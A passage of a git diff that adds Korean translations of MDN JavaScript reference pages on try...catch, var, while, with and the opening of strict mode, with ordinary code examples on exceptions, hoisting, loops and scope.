+ <dd>catch 블록과 관련된 예외 객체를 담기 위한 식별자</dd>
+</dl>
+
+<dl>
+ <dt><code>finally_statements</code></dt>
+ <dd>try 선언이 완료된 이후에 실행된 선언들. 이 선언들은 예외 발생 여부와 상관없이 실행된다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>try 선언의 구성은 하나 혹은 그 이상의 선언을 포함한 try 블록 및 catch 항목이나 finally 항목 중 최소한 하나 혹은 둘 다 포함하여 이루어진다. 즉, try 선언에는 세 가지 형식이 존재한다.</p>
+
+<ol>
+ <li><code>try...catch</code></li>
+ <li><code>try...finally</code></li>
+ <li><code>try...catch...finally</code></li>
+</ol>
+
+<p><code>catch</code> 블록은 <code>try</code> 블록 안에서 예외가 발생(throw)하는 경우 무엇을 할지 명시하는 코드를 포함합니다.  <code>try</code> 블록 (또는 <code>try</code> 블록 내에서 호출된 함수) 내의 명령문이 예외를 throw 하면 제어가 <code>catch</code> 블록으로 이동합니다. <code>try</code> 블록에 예외가 발생하지 않으면 <code>catch</code> 블록을 건너뜁니다.</p>
+
+<p><code>finally</code> 블록은 <code>try</code> 블록과 <code>catch</code> 블록(들)이 실행을 마친 후 항상 실행됩니다. 예외가 발생했는지에 관계없이 항상 실행됩니다.</p>
+
+<p>하나 이상의 <code>try</code> 문을 중첩 할 수 있습니다. 내부의 <code>try</code> 문에 <code>catch</code> 블록이 없으면, 둘러싼 <code>try</code> 문의 <code>catch</code> 블록이 입력됩니다.</p>
+
+<p>또한 <code>try</code> 문을 사용하여 예외처리를 합니다. 예외처리에 대해 더 알고 싶다면, <a href="/en-US/docs/Web/JavaScript/Guide" title="en/JavaScript/Guide">JavaScript Guide</a> 를 참고하세요.</p>
+
+<h3 id="무조건적_catch_문">무조건적 <code>catch</code> 문</h3>
+
+<p><code>try</code>-block 내에서 예외가 발생하면 <code>catch</code>-block이 실행됩니다. 예를 들어, 다음 코드에서 예외가 발생하면 제어가 <code>catch</code> 블록으로 전송됩니다.</p>
+
+
+
+<pre class="brush: js notranslate">try {
+   throw "myException"; // generates an exception
+}
+catch (e) {
+   // statements to handle any exceptions
+   logMyErrors(e); // pass exception object to error handler
+}
+</pre>
+
+<h3 id="조건적_catch_문">조건적 <code>catch</code> 문</h3>
+
+<p>다음과 같이 <code>try...catch</code>블록을 <code>if...else if...else</code> 구조와 결합하여 '조건부 <code>catch</code>-blocks'을 만들 수 있습니다.</p>
+
+
+
+<pre class="notranslate">try {
+  myroutine(); // may throw three types of exceptions
+} catch (e) {
+  if (e instanceof TypeError) {
+    // statements to handle TypeError exceptions
+  } else if (e instanceof RangeError) {
+    // statements to handle RangeError exceptions
+  } else if (e instanceof EvalError) {
+    // statements to handle EvalError exceptions
+  } else {
+    // statements to handle any unspecified exceptions
+    logMyErrors(e); // pass exception object to error handler
+  }
+}
+</pre>
+
+
+
+<p>이에 대한 일반적인 사용 사례는 예상 오류의 작은 하위 집합 만 포착 (및 침묵) 한 다음 다른 경우에 오류를 다시 발생시키는 것입니다.</p>
+
+<pre class="notranslate">try {
+  myRoutine();
+} catch (e) {
+  if (e instanceof RangeError) {
+    // statements to handle this very common expected error
+  } else {
+    throw e;  // re-throw the error unchanged
+  }
+}</pre>
+
+<h3 id="The_exception_identifier">The exception identifier</h3>
+
+<p><code>try</code>-block에서 예외가 발생하면 <code>exception_var</code> (즉, <code>catch (e)</code>내부의 <code>e</code>)가 예외 값을 보유합니다. 이 식별자를 사용하여 발생한 예외에 대한 정보를 얻을 수 있습니다. 이 식별자는 <code>catch</code>-block의 {{Glossary("Scope", "scope")}}에서만 사용할 수 있습니다.</p>
+
+
+
+<pre class="notranslate">function isValidJSON(text) {
+  try {
+    JSON.parse(text);
+    return true;
+  } catch {
+    return false;
+  }
+}</pre>
+
+<h3 id="The_finally-block">The finally-block</h3>
+
+<p>The <code>finally</code>-block contains statements to execute after the <code>try</code>-block and <code>catch</code>-block(s) execute, but before the statements following the <code>try...catch...finally</code>-block. Note that the <code>finally</code>-block executes regardless of whether an exception is thrown. Also, if an exception is thrown, the statements in the <code>finally</code>-block execute even if no <code>catch</code>-block handles the exception.</p>
+
+
+
+<p>The following example shows one use case for the <code>finally</code>-block. The code opens a file and then executes statements that use the file; the <code>finally</code>-block makes sure the file always closes after it is used even if an exception was thrown.</p>
+
+<pre class="notranslate">openMyFile();
+try {
+  // tie up a resource
+  writeMyFile(theData);
+}
+finally {
+  closeMyFile(); // always close the resource
+}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Nested_try-blocks">Nested try-blocks</h3>
+
+<p>First, let's see what happens with this:</p>
+
+<pre class="notranslate">try {
+  try {
+    throw new Error('oops');
+  }
+  finally {
+    console.log('finally');
+  }
+}
+catch (ex) {
+  console.error('outer', ex.message);
+}
+
+// Output:
+// "finally"
+// "outer" "oops"
+</pre>
+
+<p>Now, if we already caught the exception in the inner <code>try</code>-block by adding a <code>catch</code>-block</p>
+
+<pre class="notranslate">try {
+  try {
+    throw new Error('oops');
+  }
+  catch (ex) {
+    console.error('inner', ex.message);
+  }
+  finally {
+    console.log('finally');
+  }
+}
+catch (ex) {
+  console.error('outer', ex.message);
+}
+
+// Output:
+// "inner" "oops"
+// "finally"
+</pre>
+
+<p>And now, let's rethrow the error.</p>
+
+<pre class="notranslate">try {
+  try {
+    throw new Error('oops');
+  }
+  catch (ex) {
+    console.error('inner', ex.message);
+    throw ex;
+  }
+  finally {
+    console.log('finally');
+  }
+}
+catch (ex) {
+  console.error('outer', ex.message);
+}
+
+// Output:
+// "inner" "oops"
+// "finally"
+// "outer" "oops"
+</pre>
+
+<p>Any given exception will be caught only once by the nearest enclosing <code>catch</code>-block unless it is rethrown. Of course, any new exceptions raised in the "inner" block (because the code in <code>catch</code>-block may do something that throws), will be caught by the "outer" block.</p>
+
+<h3 id="Returning_from_a_finally-block">Returning from a finally-block</h3>
+
+<p>If the <code>finally</code>-block returns a value, this value becomes the return value of the entire <code>try-catch-finally</code> statement, regardless of any <code>return</code> statements in the <code>try</code> and <code>catch</code>-blocks. This includes exceptions thrown inside of the <code>catch</code>-block:</p>
+
+<pre class="notranslate">(function() {
+  try {
+    try {
+      throw new Error('oops');
+    }
+    catch (ex) {
+      console.error('inner', ex.message);
+      throw ex;
+    }
+    finally {
+      console.log('finally');
+      return;
+    }
+  }
+  catch (ex) {
+    console.error('outer', ex.message);
+  }
+})();
+
+// Output:
+// "inner" "oops"
+// "finally"</pre>
+
+<p>The outer "oops" is not thrown because of the return in the <code>finally</code>-block. The same would apply to any value returned from the <code>catch</code>-block.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-try-statement', 'try statement')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.statements.try_catch")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/var/index.html b/files/ko/web/javascript/reference/statements/var/index.html
new file mode 100644
index 0000000000..4366c3ed73
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/var/index.html
@@ -0,0 +1,195 @@
+---
+title: var
+slug: Web/JavaScript/Reference/Statements/var
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>var</strong></code>문은 변수를 선언하고, 선택적으로 초기화할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>varname1 [</em>= <em>value1 [</em>, <em>varname2 [</em>, <em>varname3 ... [</em>, <em>varnameN]]]]</em>;</pre>
+
+<dl>
+ <dt><code>varnameN</code></dt>
+ <dd>변수 이름. 어떤 유효한 식별자도 될 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>valueN</code></dt>
+ <dd>변수의 초기값. 어떤 유효한 표현도 될 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>어디에 선언이 되어있든 간에 변수들은 어떠한 코드가 실행되기 전에  처리가 됩니다. var로 선언된 변수의 범위는 현재 실행 문맥인데, 그 문맥은 둘러싼 함수, 혹은 함수의 외부에 전역으로 선언된 변수도 될 수 있습니다.</p>
+
+<p>선언된 변수들의 값 할당은 할당이 실행될 때 전역변수(이것은 전역 오브젝트의 프로퍼티가 됩니다)처럼 생성이 됩니다. 선언된 변수들과 선언되지 않은 변수들의 차이점은 다음과 같습니다:</p>
+
+<p>1. 선언된 변수들은 변수가 선언된 실행 콘텍스트(execution context) 안에서 만들어집니다. 선언되지 않은 변수들은 항상 전역변수 입니다.</p>
+
+<pre class="brush: js">function x() {
+  y = 1;   // strict 모드에서는 ReferenceError를 출력합니다.
+  var z = 2;
+}
+
+x();
+
+console.log(y); // 로그에 "1" 출력합니다.
+console.log(z); // ReferenceError: z is not defined outside x를 출력합니다.
+</pre>
+
+<p>2. 선언된 변수들은 어떠한 코드가 실행되기 전에 만들어집니다. 선언되지 않은 변수들은 변수들을 할당하는 코드가 실행되기 전까지는 존재하지 않습니다.</p>
+
+<pre class="brush: js">console.log(a);                // ReferenceError를 출력합니다.
+console.log('still going...'); // 결코 실행되지 않습니다.</pre>
+
+<pre class="brush: js">var a;
+console.log(a);                // 브라우저에 따라 로그에 "undefined" 또는 "" 출력합니다.
+console.log('still going...'); // 로그에 "still going..." 출력합니다.</pre>
+
+<p>3. 선언된 변수들은 변수들의 실행 콘텍스트(execution context)의 프로퍼티를 변경되지 않습니다. 선언되지 않은 변수들은 변경 가능합니다. (e.g 삭제 될 수도 있습니다.)</p>
+
+<pre class="brush: js">var a = 1;
+b = 2;
+
+delete this.a; // strict 모드에서는 TypeError를 출력합니다. 그렇지 않으면 자동적으로 실패합니다.
+delete this.b;
+
+console.log(a, b); // ReferenceError를 출력합니다.
+// 'b' 프로퍼티는 삭제되었고, 어디에도 존재하지 않습니다.</pre>
+
+<p>이러한 세가지 다른점 때문에, 변수 선언 오류는 예기치않은 결과로 이어질 가능성이 높습니다.  그러므로 <strong>함수 또는 전역 범위인지 여부와 상관없이, 항상 변수를 선언 하는 것을 추천합니다.</strong> 그리고 ECMAScript 5 안에 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>, 선언되지 않은 변수에 할당하면 오류를 출력합니다.</p>
+
+<h3 id="var_호이스팅(hoisting)">var 호이스팅(hoisting)</h3>
+
+<p>변수 선언들 (그리고 일반적인 선언)은 어느 코드가 실행 되기 전에 처리하기 때문에, 코드 안에서 어디서든 변수 선언은  최상위에 선언한 것과 동등합니다. 이것은 변수가 선언되기 전에 사용 될 수 있다는 것을 의미합니다. 변수 선언이 함수 또는 전역 코드의 상단에 이동하는 것과 같은 행동을 "호이스팅(hoisting)"이라고 불립니다.</p>
+
+<pre class="brush: js">bla = 2
+var bla;
+// ...
+
+// 위 선언을 다음과 같이 암묵적으로 이해하면 됩니다:
+
+var bla;
+bla = 2;
+</pre>
+
+<p>이러한 이유로, 그들의 범위(전역 코드의 상단 그리고 함수 코드의 상단) 상단에 변수를 항상 선언하기를 권장합니다. 그러면 변수는 함수 범위 (지역)이 되며, 스코프 체인으로 해결될 것이 분명합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="두_변수들의_선언_및_초기화">두 변수들의 선언 및 초기화</h3>
+
+<pre class="brush: js">var a = 0, b = 0;
+</pre>
+
+<h3 id="단일_문자열_값으로_두_변수들_할당">단일 문자열 값으로 두 변수들 할당</h3>
+
+<pre class="brush: js">var a = "A";
+var b = a;
+
+// 다음과 같음:
+
+var a, b = a = "A";
+</pre>
+
+<p>순서에 유의:</p>
+
+<pre class="brush: js">var x = y, y = 'A';
+console.log(x + y); // undefinedA
+</pre>
+
+<p>여기, x와 y는 어떠한 코드 실행하기 전에 선언되었다, 할당은 후에 발생하였다. "<code>x = y</code>"가 실행될 때, <code>y<font face="Open Sans, Arial, sans-serif">는 존재하여 </font></code><code>ReferenceError를 출력하진 않고</code> 값은 '<code>undefined</code>' 입니다. 그래서, <code>x는</code> undefined 값이 할당 됩니다. 그리고나서, <code>y는 </code>'A' 값이 할당 됩니다. 결과적으로, 첫번째 줄 이후에, <code>x === undefined &amp;&amp; y === 'A'</code>, 이와 같은 결과가 됩니다.</p>
+
+<h3 id="다수의_변수들의_초기화">다수의 변수들의 초기화</h3>
+
+<pre class="brush: js">var x = 0;
+
+function f(){
+  var x = y = 1; // x는 지역변수로 선언됩니다. y는 아닙니다!
+}
+f();
+
+console.log(x, y); // 0, 1
+// x는 예상대로 전역이다
+// y leaked outside of the function, though! </pre>
+
+<h3 id="암묵적인_전역변수와_외부_함수_범위">암묵적인 전역변수와 외부 함수 범위</h3>
+
+<p>암묵적인 전역변수가 될 것으로 보이는 변수는 함수 범위 밖에서 변수들을 참조할 수 있다.</p>
+
+<pre class="brush: js">var x = 0;  // x는 전역으로 선언되었고, 0으로 할당됩니다.
+
+console.log(typeof z); // undefined, z는 아직 존재하지 않습니다.
+
+function a() { // a 함수를 호출했을 때,
+  var y = 2;   // y는 함수 a에서 지역변수로 선언되었으며, 2로 할당됩니다.
+
+  console.log(x, y);   // 0 2
+
+  function b() {       // b 함수를 호출하였을때,
+    x = 3;  // 존재하는 전역 x값에 3을 할당, 새로운 전역 var 변수를 만들지 않습니다.
+    y = 4;  // 존재하는 외부 y값에 4를 할당, 새로운 전역 var 변수를 만들지 않습니다.
+    z = 5;  // 새로운 전역 z 변수를 생성하고 5를 할당 합니다.
+  }         // (strict mode에서는 ReferenceError를 출력합니다.)
+
+  b();     // 호출되는 b는 전역 변수로 z를 생성합니다.
+  console.log(x, y, z);  // 3 4 5
+}
+
+a();                   // 호출되는 a는 또한 b를 호출합니다.
+console.log(x, z);     // 3 5
+console.log(typeof y); // undefined y는 function a에서 지역 변수입니다.</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.2', 'var statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.var")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/while/index.html b/files/ko/web/javascript/reference/statements/while/index.html
new file mode 100644
index 0000000000..5509404ed6
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/while/index.html
@@ -0,0 +1,142 @@
+---
+title: while
+slug: Web/JavaScript/Reference/Statements/while
+tags:
+  - 반복문
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Statements/while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>while문</strong>은 조건문이 참일 때 실행되는 반복문이다. 조건은 문장안이 실행되기 전에 참, 거짓을 판단한다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">while (<em>condition</em>)
+  <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>조건</code></dt>
+ <dd>반복이 시작되기 전에 조건문은 참,거짓을 판단받게 된다. 만약 조건문이 참이라면, while문 안의 문장들이 실행된다. 거짓이라면, 문장은 그냥 while 반복문 후로 넘어간다.</dd>
+ <dt><code>문장</code></dt>
+ <dd>조건문이 참일 때만 while문 속의 문장들이 실행된다. 반복문 속에 여러개의 문장을 사용하고 싶다면 중괄호 { } 를 통해 문장들을 하나로 묶어야 한다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 while문은 n이 3보다 작을 때까지 반복한다.</p>
+
+<pre class="brush:js">var n = 0;
+var x = 0;
+
+while (n &lt; 3) {
+  n++;
+  x += n;
+}</pre>
+
+<p>반복을 살펴보면, n을 x에 계속 더하게 된다. 그러므로 x와 n 변수는 다음의 값을 갖는다.</p>
+
+<ul>
+ <li>첫번째 반복; n=1 과 x=1</li>
+ <li>두번째 반복; n=2 과 x=3</li>
+ <li>세번째 반복; n=3 과 x=6</li>
+</ul>
+
+<p>세번째 반복후, n&lt;3 이라는 초건은 더 이상 참이아니가 되므로 반복은 종료된다</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-while-statement', 'while statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.2', 'while statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.2', 'while statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.1', 'while statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/with/index.html b/files/ko/web/javascript/reference/statements/with/index.html
new file mode 100644
index 0000000000..30940cc297
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/with/index.html
@@ -0,0 +1,127 @@
+---
+title: with
+slug: Web/JavaScript/Reference/Statements/with
+translation_of: Web/JavaScript/Reference/Statements/with
+---
+<div class="warning">Use of the <code>with</code> statement is not recommended, as it may be the source of confusing bugs and compatibility issues. See the "Ambiguity Contra" paragraph in the "Description" section below for details.</div>
+
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>with statement</strong> 는 명령문의 범위 체인을 확장합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">with (expression)
+  <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>명령문을 평가할 때 사용되는 범위 체인에 지정된 표현식을 추가합니다. 표현식을 중괄호로 감싸는 것은 필수입니다.</dd>
+ <dt><code>statement</code></dt>
+ <dd>모든 구문을 말합니다. 여러개의 명령문을 실행하려면 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block" title="JavaScript/Reference/Statements/block">블록</a>명령문 ({...})을 사용하여 해당 명령문을 그룹화 하세요.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>JavaScript는 규정되지 않은 이름을 포함하는 스크립트 또는 함수의 실행 컨텍스트와 연관된 범위 체인을 검색하여 규정되지 않은 이름을 찾습니다. 'with'문은 해당 개체를 평가하는 동안 이 개체를 해당 범위 체인의 머리글에 추가합니다. 본문에 사용된 규정되지 않은 이름이 범위 체인의 속성과 일치하는 경우 이름은 속성과 속성이 포함 된 개체에 바인딩 됩니다. 그렇지 않으면, {{jsxref("ReferenceError")}} 가 발생됩니다.</p>
+
+<div class="note"><code>with</code> 를 사용하는 것은 권장하지 않으며, ECMAScript 5 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode</a>에서는 금지되어 있습니다. 임시 변수에 액세스 하려는 속성이 있는 객체를 할당하는 것이 좋습니다.</div>
+
+<h3 id="Performance_pro_contra">Performance pro &amp; contra</h3>
+
+<p><strong>Pro:</strong> <code>with</code> 구문은 성능저하 없이 긴 객체 참조를 반복해야할 필요를 줄여서 파일 크기를 감소 시킬 수 있습니다. 'with'에 필요한 스코프 체인 변경은 연산 비용이 들지 않습니다. 'with'를 사용하면 반복되는 객체 참조를 파싱하는 인터프리터가 해소됩니다. 하지만 대게의 경우에 이 이점은 임시변수를 사용하여 원하는 객체에 대한 참조를 저장함으로써 얻을 수 있습니다.</p>
+
+<p><strong>Contra:</strong> The <code>with</code> statement forces the specified object to be searched first for all name lookups. Therefore all identifiers that aren't members of the specified object will be found more slowly in a 'with' block. Where performance is important, 'with' should only be used to encompass code blocks that access members of the specified object.</p>
+
+<h3 id="Ambiguity_contra">Ambiguity contra</h3>
+
+<p><strong>Contra:</strong> The <code>with</code> statement makes it hard for a human reader or JavaScript compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object. So given this example:</p>
+
+<pre class="brush: js">function f(x, o) {
+  with (o) {
+    console.log(x);
+  }
+}</pre>
+
+<p>Only when <code>f</code> is called is <code>x</code> either found or not, and if found, either in <code>o</code> or (if no such property exists) in <code>f</code>'s activation object, where <code>x</code> names the first formal argument. If you forget to define <code>x</code> in the object you pass as the second argument, or if there's some similar bug or confusion, you won't get an error -- just unexpected results.</p>
+
+<p><strong>Contra: </strong>Code using <code>with</code> may not be forward compatible, especially when used with something other than a plain object. Consider this example:</p>
+
+<div>
+<pre class="brush:js">function f(foo, values) {
+  with (foo) {
+    console.log(values);
+  }
+}
+</pre>
+
+<p>If you call <code>f([1,2,3], obj)</code> in an ECMAScript 5 environment, then the <code>values</code> reference inside the <code>with</code> statement will resolve to <code>obj</code>. However, ECMAScript 6 introduces a <code>values</code> property on {{jsxref("Array.prototype")}} (so that it will be available on every array). So, in a JavaScript environment that supports ECMAScript 6, the <code>values</code> reference inside the <code>with</code> statement could resolve to <code>[1,2,3].values</code>. However, in this particular example, {{jsxref("Array.prototype")}} has been defined with <code>values</code> in its {{jsxref("Symbol.unscopables")}} object. If it were not, one can see how this would be a difficult issue to debug.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_with">Using <code>with</code></h3>
+
+<p>The following <code>with</code> statement specifies that the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math" title="JavaScript/Reference/Global_Objects/Math"><code>Math</code></a> object is the default object. The statements following the <code>with</code> statement refer to the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI" title="JavaScript/Reference/Global_Objects/Math/PI"><code>PI</code></a> property and the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos" title="JavaScript/Reference/Global_Objects/Math/cos"><code>cos</code></a> and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="JavaScript/Reference/Global_Objects/Math/sin"><code>sin</code></a> methods, without specifying an object. JavaScript assumes the <code>Math</code> object for these references.</p>
+
+<pre class="brush:js">var a, x, y;
+var r = 10;
+
+with (Math) {
+  a = PI * r * r;
+  x = r * cos(PI);
+  y = r * sin(PI / 2);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-with-statement', 'with statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-with-statement', 'with statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Now forbidden in strict mode.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.with")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+ <li>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/strict_mode/index.html b/files/ko/web/javascript/reference/strict_mode/index.html
new file mode 100644
index 0000000000..50cac47a52
--- /dev/null
+++ b/files/ko/web/javascript/reference/strict_mode/index.html
@@ -0,0 +1,383 @@
+---
+title: Strict mode
+slug: Web/JavaScript/Reference/Strict_mode
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - 엄격모드
+translation_of: Web/JavaScript/Reference/Strict_mode
+---
+<div>{{JsSidebar("More")}}</div>
+
+<div class="callout-box">가끔 엄격하지 않은 기본값을 "<strong><a href="https://developer.mozilla.org/ko/docs/Glossary/Sloppy_mode">느슨한 모드</a></strong>(sloppy mode)"라고 부르기도 합니다. 공식적인 용어는 아니지만 혹시 모르니 알아두세요.</div>
+
+<div><a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> 에서 소개된 JavaScript 의 엄격모드는 JavaScript 의 제한된 버전을 선택하여 암묵적인 "<strong><a href="https://developer.mozilla.org/ko/docs/Glossary/Sloppy_mode">느슨한 모드</a></strong>(sloppy mode)" 를 해제하기 위한 방법입니다. 엄격 모드는 단지 부분적인 것이 아니며, 이것은 <em>고의적으로 </em>일반 코드와 다른 시멘틱을 가지고 있습니다. 엄격모드를 지원하지 않는 브라우저에서는 엄격 모드의 코드가 다른 방식으로 동작할 것입니다, 그 때문에 엄격 모드가 적절하게 적용된 피쳐 테스트 없이 엄격 모드에 의존하면 안됩니다. 엄격 모드의 코드와 비-엄격 모드의 코드는 공존할 수 있으며, 때문에 스크립트의 엄격 모드를 취사 선택하는 것이 점진적으로 가능하게 되었습니다.</div>
+
+<div></div>
+
+<p>엄격 모드는 평범한 JavaScript 시멘틱스에 몇가지 변경이 일어나게 합니다.</p>
+
+<ol>
+ <li>기존에는 조용히 무시되던 에러들을 throwing합니다.</li>
+ <li>JavaScript 엔진의 최적화 작업을 어렵게 만드는 실수들을 바로잡습니다. 가끔씩 엄격 모드의 코드는 비-엄격 모드의 동일한 코드보다 더 빨리 작동하도록 만들어집니다.</li>
+ <li>엄격 모드는 ECMAScript의 차기 버전들에서 정의 될 문법을 금지합니다.</li>
+</ol>
+
+<p>코드를 JavaScript의 변형이 제한된 환경에서 동작하도록 하고 싶다면, 엄격 모드로의 변환(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">transitioning to strict mode</a>)을 참고하세요.</p>
+
+<h2 id="엄격모드_적용하기">엄격모드 적용하기</h2>
+
